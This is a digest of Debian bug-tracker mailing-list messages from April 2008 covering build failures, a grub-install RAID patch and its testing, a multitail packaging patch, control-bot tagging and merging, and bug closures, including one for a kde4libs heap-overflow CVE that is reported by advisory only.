Bug#478722: build-depends on c2man about to be removed
On 4/30/08, Thomas Viehmann [EMAIL PROTECTED] wrote: Sergei Golovan wrote: I think that it's easier to me to adopt c2man than to switch to another tool. In the short term, yes. However, that means leaving c2man in the archive just for the manpages you generate with it. This has two drawbacks, namely you have the burden of maintaining it (might be small) and users might try to use it and fail (might be a greater problem). Naturally, it's your decision, but I am tempted to think that in the long run it might be better to change the way you generate documentation. It's true, but it's not me who decided to generate manpages using c2man. It's upstream decision and I don't think that I'll easily convince the author to rewrite it. Though I'll try to. -- Sergei Golovan -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478737: xnecview: FTBFS: *** No rule to make target `clean'. Stop.
Package: xnecview Version: 1.35-1 Severity: serious Hi, Your package is failing to build with the following error: /usr/bin/fakeroot debian/rules clean test -f debian/rules rm -f build if [ -f Makefile ]; then /usr/bin/make clean; fi make[1]: Entering directory `/build/buildd/xnecview-1.35' make[1]: *** No rule to make target `clean'. Stop. make[1]: Leaving directory `/build/buildd/xnecview-1.35' make: *** [clean] Error 2 Kurt -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#469721: Wrote a patch
Thanks! Really nice to see that people are really using my multitail program. Especially that there are more then 5 people who use it is already mindboggling. On Thu, Mar 20, 2008 at 10:50:43PM +0100, Meike Reichle wrote: tags 469721 + patch thanks Hi I wrote a patch that should fix that problem. I removed the respective lines from the Makefile and installed the examples using dh_installexamples HTH, Meike diff -Nur multitail-5.2.0/debian/patches/01_makefile_fixes.dpatch multitail-5.2.0_meike/debian/patches/01_makefile_fixes.dpatch --- multitail-5.2.0/debian/patches/01_makefile_fixes.dpatch 2008-03-20 22:46:38.0 +0100 +++ multitail-5.2.0_meike/debian/patches/01_makefile_fixes.dpatch 2008-03-20 22:27:52.0 +0100 @@ -5,10 +5,10 @@ ## DP: No description. @DPATCH@ -diff -urNad multitail-4.3.4~/Makefile multitail-4.3.4/Makefile multitail-4.3.4~/Makefile2007-03-20 14:32:22.0 +0100 -+++ multitail-4.3.4/Makefile 2007-03-20 14:41:39.0 +0100 -@@ -19,16 +19,14 @@ +diff -urNad multitail-5.2.0~/Makefile multitail-5.2.0/Makefile +--- multitail-5.2.0~/Makefile2007-07-09 09:24:18.0 +0200 multitail-5.2.0/Makefile 2008-03-20 22:27:49.0 +0100 +@@ -19,17 +19,15 @@ ccmalloc --no-wrapper $(CC) -Wall -W $(OBJS) $(LDFLAGS) -o ccmultitail install: multitail @@ -23,10 +23,13 @@ -### YOURSELF WITH THE NEW FILE -# -cp multitail.conf $(DESTDIR)/etc/multitail.conf.new +-mkdir -p $(DESTDIR)/etc/multitail/ +-cp convert-* colors-* $(DESTDIR)/etc/multitail/ +mkdir -p $(DESTDIR)/usr/share/doc/multitail +cp *.txt manual*.html $(DESTDIR)/usr/share/doc/multitail - mkdir -p $(DESTDIR)/etc/multitail/ ++#mkdir -p $(DESTDIR)/etc/multitail/ +cp multitail.conf $(DESTDIR)/etc/multitail.conf - cp convert-* colors-* $(DESTDIR)/etc/multitail/ ++#cp convert-* colors-* $(DESTDIR)/etc/multitail/ rm -f $(DESTDIR)/usr/share/man/man1/multitail.1.gz gzip -9 $(DESTDIR)/usr/share/man/man1/multitail.1 + # diff -Nur multitail-5.2.0/debian/rules multitail-5.2.0_meike/debian/rules --- multitail-5.2.0/debian/rules 2008-03-20 22:46:38.0 +0100 +++ multitail-5.2.0_meike/debian/rules2008-03-20 22:39:09.0 +0100 @@ -61,6 +61,7 @@ dh_installchangelogs dh_installdocs dh_installman + dh_installexamples colors-example.pl colors-example.sh convert-geoip.pl convert-simple.pl dh_link dh_strip dh_compress Folkert van Heusden -- Feeling generous? - http://www.vanheusden.com/wishlist.php -- Phone: +31-6-41278122, PGP-key: 1F28D8AE, www.vanheusden.com -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: forcibly merging 478547 464146
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.9.26 forcemerge 478547 464146 Bug#478547: grub-install raid1 ext3 failure - regression from Etch Bug#464146: grub-install: The file /boot/grub/stage1 not read correctly Forcibly Merged 464146 478547. End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478037: epiphany-browser_2.22.1.1-2(sparc/experimental): FTBFS: error: Cannot compile and run XPCOM programs
On Sat, Apr 26, 2008 at 10:27:40PM +0200, Mike Hommey wrote: On Sat, Apr 26, 2008 at 09:00:03PM +0200, Frank Lichtenheld wrote: On Sat, Apr 26, 2008 at 05:51:40PM +0200, Mike Hommey wrote: On Sat, Apr 26, 2008 at 05:38:31PM +0200, Frank Lichtenheld wrote: On Sat, Apr 26, 2008 at 04:57:36PM +0200, Mike Hommey wrote: On Sat, Apr 26, 2008 at 03:59:54PM +0200, Lichtenheld wrote: Full build log(s): http://experimental.ftbfs.de/build.php?ver=2.22.1.1-2pkg=epiphany-browserarch=sparc Would you be able to compile the failing program, and strace its execution? This is likely to be a bug in the xpcom glue... $ strace -f ./conftest Mmmm not very interesting output :-/ Could you copy this conftest file in some readable place on sperger ? sperger:~djpig/gecko/ I'm puzzled... Since the binary doesn't contain debugging symbols for the xpcomglue, I built a new glue on sperger and couldn't get the same behaviour with conftest.cpp built against this newly built glue... Can you test sperger:~glandium/conftest and sperger:~glandium/conftest.debug when you have xulrunner-dev installed? (I could only validate it seems to do the right thing) Then I'll have to figure out why the glue built on sperger works while the one built on the buildd doesn't... Good news, I could build a broken glue on sperger, too... seems there are differences between a glue built with in-tree nspr and a glue built with our system nspr. Looking into this. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478547: grub-install raid1 ext3 failure - regression from Etch
On Wed April 30 2008 03:38:29 Robert Millan wrote: Please could you test the attached patch? The patched version of grub-install ran without errors on the raid1 ext3 system and the system was was subsequently rebooted successfully. Thanks, --Mike Bird -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#400066: closed by Jose Luis Tallon [EMAIL PROTECTED] (Bug#400066: fixed in lcdproc 0.5.2-1)
Nicolas François wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Format: 1.8 Date: Sun, 09 Mar 2008 00:25:50 +0100 Source: lcdproc Binary: lcdproc Architecture: source amd64 Version: 0.5.2-1 Distribution: unstable Urgency: medium Maintainer: Jose Luis Tallon [EMAIL PROTECTED] Changed-By: Jose Luis Tallon [EMAIL PROTECTED] Description: lcdproc- LCD display driver daemon and clients Closes: 400066 Changes: lcdproc (0.5.2-1) unstable; urgency=medium . * New upstream version . * Compilation issues - restrict building to just i386, amd64 (Closes: #400066) I don't think this fix is correct. You already did it before, and the bug was reopen. (just read the back log of the bug) This particular bug is indeed fixed. However, I do agree that there is another problem. A patch was also proposed and should be part of this new upstream release to at least support PPC (and probably all the other architectures without parallel port). I can not test it, since I only have i386 and amd64 machines (my macbook is recent enough to not be ppc) As you insist, and as I'm not a user on non i386 architectures, I won't play ping pong with you. If you report that this version does work with non-PC architectures, I will re-enable building for all other architectures. Unfortunately, I cannot risk an RC bug due to FTBFS; I'd rather support less architectures than that. Again, if you verify that this version does indeed work for you, I will upload another version. I apologize for the inconvenience, but I can't simply risk that bug. Please tell me if I can help you testing this. You should also contact the ftp-masters to request the removal of the binaries on the architectures that are no more supported Yes. J.L. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478547: Different patch
Package: grub Version: 0.97-37 Followup-For: Bug #478547 Hi, grub-install already contains a function getraid_mdadm() to resolve raid devices but it is never called. The attached patch makes use of that function instead of introducing its own. One difference between the two versions I did spot is the behaviour when mdadm is not installed: ---[ original patch] - [EMAIL PROTECTED]:/tmp# ./grub-install '(hd0)' Searching for GRUB installation directory ... found: /boot/grub The file /boot/grub/stage1 not read correctly. -- -[ this patch] --- [EMAIL PROTECTED]:/tmp# ./grub-install '(hd0)' ./grub-install: line 91: mdadm: command not found : mdadm -D /dev/md0 failed -- I also added a message Using /dev/sdb1 from raid device /dev/md0 to show what is going on. sdb1 is the lowest numbered component in my raid 1 (see /proc/mdstat below). MfG Goswin -- Package-specific info: *** BEGIN /proc/mdstat Personalities : [linear] [raid0] [raid1] [raid10] [raid6] [raid5] [raid4] md0 : active raid1 sdc1[1] sdb1[0] 1003904 blocks [2/2] [UU] unused devices: none *** END /proc/mdstat *** BEGIN /boot/grub/device.map (hd0) /dev/sda (hd1) /dev/sdb (hd2) /dev/sde (hd3) /dev/sdf *** END /boot/grub/device.map -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable') Architecture: amd64 (x86_64) Kernel: Linux 2.6.22.2-mrvn Locale: LANG=C, LC_CTYPE=de_DE (charmap=ISO-8859-1) Shell: /bin/sh linked to /bin/bash Versions of packages grub depends on: ii grub-common 1.96+20080426-1 GRand Unified Bootloader, version grub recommends no packages. -- no debconf information --- /usr/sbin/grub-install 2008-04-26 19:47:18.0 +0200 +++ /tmp/grub-install 2008-04-30 20:35:54.007598750 +0200 @@ -129,7 +129,12 @@ # Convert an OS device to the corresponding GRUB drive. # This part is OS-specific. convert () { - GRUB_LEGACY_0_BASED_PARTITIONS=1 grub-probe --device-map=${device_map} -t drive -d $1 + case $1 in + (/dev/md*) dev=`getraid_mdadm $1` || exit 1 + echo 2 Using $dev from raid device $1;; + (*) dev=$1;; + esac + GRUB_LEGACY_0_BASED_PARTITIONS=1 grub-probe --device-map=${device_map} -t drive -d $dev } # Usage: resolve_symlink file
Bug#478751: linux-headers-2.6.25-1-686: missing dependency linux-kbuild-2.6.25
Package: linux-headers-2.6.25-1-686 Severity: grave Justification: renders package unusable The package is not installable, as the corresponding kbuild package is not (yet) available. -- System Information: Debian Release: lenny/sid APT prefers testing APT policy: (990, 'testing'), (500, 'unstable'), (500, 'stable'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.23-1-686 (SMP w/1 CPU core) Locale: [EMAIL PROTECTED], [EMAIL PROTECTED] (charmap=ISO-8859-15) Shell: /bin/sh linked to /bin/bash -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478283: marked as done (kde4libs: CVE-2008-1670 heap based buffer overflow via specially encoded image)
Your message dated Wed, 30 Apr 2008 19:17:21 + with message-id [EMAIL PROTECTED] and subject line Bug#478283: fixed in kde4libs 4:4.0.72-1 has caused the Debian Bug report #478283, regarding kde4libs: CVE-2008-1670 heap based buffer overflow via specially encoded image to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 478283: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=478283 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: kde4libs Severity: grave Tags: security patch Hi, the following CVE (Common Vulnerabilities Exposures) id was published for kde4libs. CVE-2008-1670[0]: | The new progressive PNG Image loader in KHTML of KDE 4.0 and newer | can be tricked into overrunning a heap allocated memory buffer | by loading a specially encoded image. Note, the mitre description is still on status RESERVED, use the upstream advisory as reference for now: http://www.kde.org/info/security/advisory-20080426-1.txt Patch: ftp://ftp.kde.org/pub/kde/security_patches/post-kde-4.0.3-khtml.diff If you fix the vulnerability please also make sure to include the CVE id in your changelog entry. For further information see: [0] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1670 http://security-tracker.debian.net/tracker/CVE-2008-1670 -- Nico Golde - http://www.ngolde.de - [EMAIL PROTECTED] - GPG: 0x73647CFF For security reasons, all text in this mail is double-rot13 encrypted. pgpiydu2oBCqa.pgp Description: PGP signature ---End Message--- ---BeginMessage--- Source: kde4libs Source-Version: 4:4.0.72-1 We believe that the bug you reported is fixed in the latest version of kde4libs, which is due to be installed in the Debian FTP archive: kde4libs_4.0.72-1.diff.gz to pool/main/k/kde4libs/kde4libs_4.0.72-1.diff.gz kde4libs_4.0.72-1.dsc to pool/main/k/kde4libs/kde4libs_4.0.72-1.dsc kde4libs_4.0.72.orig.tar.gz to pool/main/k/kde4libs/kde4libs_4.0.72.orig.tar.gz kdelibs-bin_4.0.72-1_amd64.deb to pool/main/k/kde4libs/kdelibs-bin_4.0.72-1_amd64.deb kdelibs-bin_4.0.72-1_i386.deb to pool/main/k/kde4libs/kdelibs-bin_4.0.72-1_i386.deb kdelibs5-data_4.0.72-1_all.deb to pool/main/k/kde4libs/kdelibs5-data_4.0.72-1_all.deb kdelibs5-dbg_4.0.72-1_amd64.deb to pool/main/k/kde4libs/kdelibs5-dbg_4.0.72-1_amd64.deb kdelibs5-dbg_4.0.72-1_i386.deb to pool/main/k/kde4libs/kdelibs5-dbg_4.0.72-1_i386.deb kdelibs5-dev_4.0.72-1_amd64.deb to pool/main/k/kde4libs/kdelibs5-dev_4.0.72-1_amd64.deb kdelibs5-dev_4.0.72-1_i386.deb to pool/main/k/kde4libs/kdelibs5-dev_4.0.72-1_i386.deb kdelibs5-doc_4.0.72-1_all.deb to pool/main/k/kde4libs/kdelibs5-doc_4.0.72-1_all.deb kdelibs5_4.0.72-1_amd64.deb to pool/main/k/kde4libs/kdelibs5_4.0.72-1_amd64.deb kdelibs5_4.0.72-1_i386.deb to pool/main/k/kde4libs/kdelibs5_4.0.72-1_i386.deb libphonon-dev_4.0.72-1_amd64.deb to pool/main/k/kde4libs/libphonon-dev_4.0.72-1_amd64.deb libphonon-dev_4.0.72-1_i386.deb to pool/main/k/kde4libs/libphonon-dev_4.0.72-1_i386.deb libphonon4_4.0.72-1_amd64.deb to pool/main/k/kde4libs/libphonon4_4.0.72-1_amd64.deb libphonon4_4.0.72-1_i386.deb to pool/main/k/kde4libs/libphonon4_4.0.72-1_i386.deb A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to [EMAIL PROTECTED], and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Debian Qt/KDE Maintainers [EMAIL PROTECTED] (supplier of updated kde4libs package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing [EMAIL PROTECTED]) -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Format: 1.8 Date: Wed, 30 Apr 2008 18:03:58 +0200 Source: kde4libs Binary: kdelibs5 kdelibs5-data kdelibs5-dev kdelibs5-doc kdelibs-bin kdelibs5-dbg libphonon-dev libphonon4 Architecture: all amd64 i386 source Version: 4:4.0.72-1 Distribution: experimental Urgency: low Maintainer: Debian Qt/KDE Maintainers [EMAIL PROTECTED] Changed-By: Debian Qt/KDE Maintainers [EMAIL PROTECTED] Closes: 478283 Description: kdelibs5 - core libraries for all KDE 4 applications kdelibs5-data - core shared data for all KDE 4 applications kdelibs5-dbg - debugging symbols for the KDE 4 libraries module kdelibs5-dev - development files for the KDE 4 core libraries kdelibs5-doc - developer documentation for the KDE 4 core libraries kdelibs-bin - executables for all KDE 4 core applications libphonon4 - Phonon
Bug#477772: marked as done (subversion: Segfaults during operation)
Your message dated Wed, 30 Apr 2008 19:17:06 + with message-id [EMAIL PROTECTED] and subject line Bug#42: fixed in apr 1.2.12-2 has caused the Debian Bug report #42, regarding subversion: Segfaults during operation to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 42: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=42 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: subversion Version: 1.4.6dfsg1-2 Severity: grave Justification: renders package unusable Regardless of the command specified, svn segfaults: [EMAIL PROTECTED]:~$ svn ls Segmentation fault Gdb tells me this: Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x2b5e8e00 (LWP 20742)] 0x2ab93e90 in apr_vformatter () from /usr/lib/libapr-1.so.0 (gdb) bt #0 0x2ab93e90 in apr_vformatter () from /usr/lib/libapr-1.so.0 #1 0x2ab9dd40 in apr_pvsprintf () from /usr/lib/libapr-1.so.0 #2 0x2ab9df98 in apr_psprintf () from /usr/lib/libapr-1.so.0 #3 0xd488 in ?? () Cannot access memory at address 0x0 Strace ends with this (maybe be helpful, maybe not): open(/usr/share/locale/en_US.UTF-8/LC_MESSAGES/subversion.mo, O_RDONLY) = -1 ENOENT (No such file or directory) open(/usr/share/locale/en_US.utf8/LC_MESSAGES/subversion.mo, O_RDONLY) = -1 ENOENT (No such file or directory) open(/usr/share/locale/en_US/LC_MESSAGES/subversion.mo, O_RDONLY) = -1 ENOENT (No such file or directory) open(/usr/share/locale/en.UTF-8/LC_MESSAGES/subversion.mo, O_RDONLY) = -1 ENOENT (No such file or directory) open(/usr/share/locale/en.utf8/LC_MESSAGES/subversion.mo, O_RDONLY) = -1 ENOENT (No such file or directory) open(/usr/share/locale/en/LC_MESSAGES/subversion.mo, O_RDONLY) = -1 ENOENT (No such file or directory) --- SIGSEGV (Segmentation fault) @ 0 (0) --- +++ killed by SIGSEGV +++ -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable') Architecture: arm (armv5tel) Kernel: Linux 2.6.17.8-n4100 Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages subversion depends on: ii libapr1 1.2.12-1 The Apache Portable Runtime Librar ii libc6 2.7-10 GNU C Library: Shared libraries ii libsvn1 1.4.6dfsg1-2 Shared libraries used by Subversio subversion recommends no packages. -- no debconf information ---End Message--- ---BeginMessage--- Source: apr Source-Version: 1.2.12-2 We believe that the bug you reported is fixed in the latest version of apr, which is due to be installed in the Debian FTP archive: apr_1.2.12-2.diff.gz to pool/main/a/apr/apr_1.2.12-2.diff.gz apr_1.2.12-2.dsc to pool/main/a/apr/apr_1.2.12-2.dsc libapr1-dbg_1.2.12-2_i386.deb to pool/main/a/apr/libapr1-dbg_1.2.12-2_i386.deb libapr1-dev_1.2.12-2_i386.deb to pool/main/a/apr/libapr1-dev_1.2.12-2_i386.deb libapr1_1.2.12-2_i386.deb to pool/main/a/apr/libapr1_1.2.12-2_i386.deb A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to [EMAIL PROTECTED], and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Stefan Fritsch [EMAIL PROTECTED] (supplier of updated apr package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing [EMAIL PROTECTED]) -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Format: 1.8 Date: Wed, 30 Apr 2008 20:46:17 +0200 Source: apr Binary: libapr1 libapr1-dev libapr1-dbg Architecture: source i386 Version: 1.2.12-2 Distribution: unstable Urgency: high Maintainer: Debian Apache Maintainers [EMAIL PROTECTED] Changed-By: Stefan Fritsch [EMAIL PROTECTED] Description: libapr1- The Apache Portable Runtime Library libapr1-dbg - The Apache Portable Runtime Library - Development Headers libapr1-dev - The Apache Portable Runtime Library - Development Headers Closes: 42 Changes: apr (1.2.12-2) unstable; urgency=high . * Urgency high for RC bug fix. * Do not use -fstack-protector on arm and armel, since it is completely broken (see #469517). Closes: #42 * Remove unneded libtool build dependency. Checksums-Sha1: 1f19e5eb4112c0f2339d3b1f379b4731ac2e72a0 1256 apr_1.2.12-2.dsc e21ce7cdb9401498fc41347e425796814c5dacdd 14905 apr_1.2.12-2.diff.gz 5a49c24d6e1203a5a444b489b5dfc2f8fa3fc260 116640
Bug#478547: grub-install raid1 ext3 failure - regression from Etch
On Wed April 30 2008 11:21:49 Mike Bird wrote: On Wed April 30 2008 03:38:29 Robert Millan wrote: Please could you test the attached patch? The patched version of grub-install ran without errors on the raid1 ext3 system and the system was was subsequently rebooted successfully. Also confirmed on second raid1 ext3 system and on a non-RAID ext3 system. --Mike Bird -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478037: epiphany-browser_2.22.1.1-2(sparc/experimental): FTBFS: error: Cannot compile and run XPCOM programs
On Wed, Apr 30, 2008 at 08:06:12PM +0200, Mike Hommey wrote: On Sat, Apr 26, 2008 at 10:27:40PM +0200, Mike Hommey wrote: On Sat, Apr 26, 2008 at 09:00:03PM +0200, Frank Lichtenheld wrote: On Sat, Apr 26, 2008 at 05:51:40PM +0200, Mike Hommey wrote: On Sat, Apr 26, 2008 at 05:38:31PM +0200, Frank Lichtenheld wrote: On Sat, Apr 26, 2008 at 04:57:36PM +0200, Mike Hommey wrote: On Sat, Apr 26, 2008 at 03:59:54PM +0200, Lichtenheld wrote: Full build log(s): http://experimental.ftbfs.de/build.php?ver=2.22.1.1-2pkg=epiphany-browserarch=sparc Would you be able to compile the failing program, and strace its execution? This is likely to be a bug in the xpcom glue... $ strace -f ./conftest Mmmm not very interesting output :-/ Could you copy this conftest file in some readable place on sperger ? sperger:~djpig/gecko/ I'm puzzled... Since the binary doesn't contain debugging symbols for the xpcomglue, I built a new glue on sperger and couldn't get the same behaviour with conftest.cpp built against this newly built glue... Can you test sperger:~glandium/conftest and sperger:~glandium/conftest.debug when you have xulrunner-dev installed? (I could only validate it seems to do the right thing) Then I'll have to figure out why the glue built on sperger works while the one built on the buildd doesn't... Good news, I could build a broken glue on sperger, too... seems there are differences between a glue built with in-tree nspr and a glue built with our system nspr. Looking into this. And now I understand what differred in my builds: without --host=sparc-linux-gnu --build=sparc-linux-gnu that the debian build system would have added, the build happened for sparc64 which is not recognized for TARGET_XPCOM_ABI. And TARGET_XPCOM_ABI is the reason of the build failure for epiphany-browser, which will actually fail to build on most non x86_64 architectures. The glue decides whether a xulrunner is compatible with given requirements with the abi field in the gre.d conf file, which contains abi=x86_86-gcc3 and is in a ... arch:all file. D'oh. I'll obviously fix this. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: tagging as pending bugs that are closed by packages in NEW
Processing commands for [EMAIL PROTECTED]: # Wed Apr 30 20:03:18 UTC 2008 # Tagging as pending bugs that are closed by packages in NEW # http://ftp-master.debian.org/new.html # # Source package in NEW: ocaml-gettext tags 305743 + pending Bug number 305743 not found. (Is it archived?) # Source package in NEW: lasso tags 477870 + pending Bug#477870: lasso: adjust build-dependency (gcj not built on alpha, arm, hppa and hurd-i386) There were no tags set. Tags added: pending # Source package in NEW: qpdf tags 478585 + pending Bug#478585: ITP: qpdf -- command-line PDF transformation software There were no tags set. Tags added: pending # Source package in NEW: r-cran-getopt tags 478689 + pending Bug#478689: ITP: getopt -- Command-line parsing for GNU R There were no tags set. Tags added: pending # Source package in NEW: r-cran-jit tags 478690 + pending Bug#478690: ITP: jit -- Just-in-time compilation support for GNU R There were no tags set. Tags added: pending End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478547: grub-install raid1 ext3 failure - regression from Etch
On Wed, Apr 30, 2008 at 11:21:49AM -0700, Mike Bird wrote: On Wed April 30 2008 03:38:29 Robert Millan wrote: Please could you test the attached patch? The patched version of grub-install ran without errors on the raid1 ext3 system and the system was was subsequently rebooted successfully. Thank you. -- Robert Millan GPLv2 I know my rights; I want my phone call! DRM What use is a phone call… if you are unable to speak? (as seen on /.) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: tagging 464146
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.9.26 tags 464146 pending Bug#464146: grub-install: The file /boot/grub/stage1 not read correctly Tags were: pending Bug#478547: grub-install raid1 ext3 failure - regression from Etch Tags added: pending End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: tagging 478547
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.9.26 tags 478547 pending Bug#478547: grub-install raid1 ext3 failure - regression from Etch There were no tags set. Bug#464146: grub-install: The file /boot/grub/stage1 not read correctly Tags added: pending End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#476013: owl: FTBFS: configure: error: installation or, configuration problem: C compiler cannot create executables.
I have reproduced this in my experimental chroot and have attatched the config.log. Strangely the CFLAGS that dpkg-buildpackage claims to be using do not seem to match up with the on the compiler is complaining about. dpkg-buildpackage: set CFLAGS to default value: -g -O2 dpkg-buildpackage: set CPPFLAGS to default value: dpkg-buildpackage: set LDFLAGS to default value: dpkg-buildpackage: set FFLAGS to default value: -g -O2 dpkg-buildpackage: set CXXFLAGS to default value: -g -O2 This file contains any messages produced by compilers while running configure, to aid debugging if configure makes a mistake. configure:530: checking for gcc configure:643: checking whether the C compiler (gcc -g -O2 -Wall -g -D_REENTRANT -D_GNU_SOURCE -DDEBIAN -fno-strict-aliasing -pipe -I/usr/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -I/usr/lib/perl/5.10/CORE -Wl -L/usr/local/lib -L/usr/lib/perl/5.10/CORE -lperl -ldl -lm -lpthread -lc -lcrypt) works configure:659: gcc -o conftest -g -O2 -Wall -g -D_REENTRANT -D_GNU_SOURCE -DDEBIAN -fno-strict-aliasing -pipe -I/usr/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -I/usr/lib/perl/5.10/CORE-Wl -L/usr/local/lib -L/usr/lib/perl/5.10/CORE -lperl -ldl -lm -lpthread -lc -lcrypt conftest.c 15 cc1: error: unrecognized command line option -Wl configure: failed program was: #line 654 configure #include confdefs.h main(){return(0);}
Processed: notfound 478514 in 3.0~b5-1
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.26 notfound 478514 3.0~b5-1 Bug#478514: iceweasel-gnome-support fails to install from experimental Bug no longer marked as found in version 3.0~b5-1. End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#472849: more descriptive error
I was just bitten by this and it took me a while to locate this bug report. Could Rhythmbox please report a more descriptive warning to the user? For example, when I start Rhythmbox without python-gst, I simply get a warning that the cover art etc. failed to load. Could it please instead explain that the Python generic media-playing framework is not installed? Thanks for maintaining Rhythmbox in Debian, Jack signature.asc Description: This is a digitally signed message part
Processed: your mail
Processing commands for [EMAIL PROTECTED]: reopen 472849 Bug#472849: rhythmbox: Plugins cannot be loaded 'reopen' may be inappropriate when a bug has been closed with a version; you may need to use 'found' to remove fixed versions. Bug#475425: rhythmbox must depends on python-gst Bug reopened, originator not changed. End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: reassign 478514 to iceweasel, merging 478514 478084
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.26 reassign 478514 iceweasel Bug#478514: iceweasel-gnome-support fails to install from experimental Bug reassigned from package `iceweasel-gnome-support' to `iceweasel'. merge 478514 478084 Bug#478084: Missing Replaces, file conflict /usr/lib/iceweasel/components/libimgicon.so Bug#478514: iceweasel-gnome-support fails to install from experimental Merged 478084 478514. End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: notfound 478084 in 3.0~b5-1
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.26 notfound 478084 3.0~b5-1 Bug#478084: Missing Replaces, file conflict /usr/lib/iceweasel/components/libimgicon.so Bug no longer marked as found in version 3.0~b5-1. End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: fixed 476893 in 2.0.0.14-1
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.26 fixed 476893 2.0.0.14-1 Bug#476893: New upstream version available with security bug solved Bug marked as fixed in version 2.0.0.14-1. End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
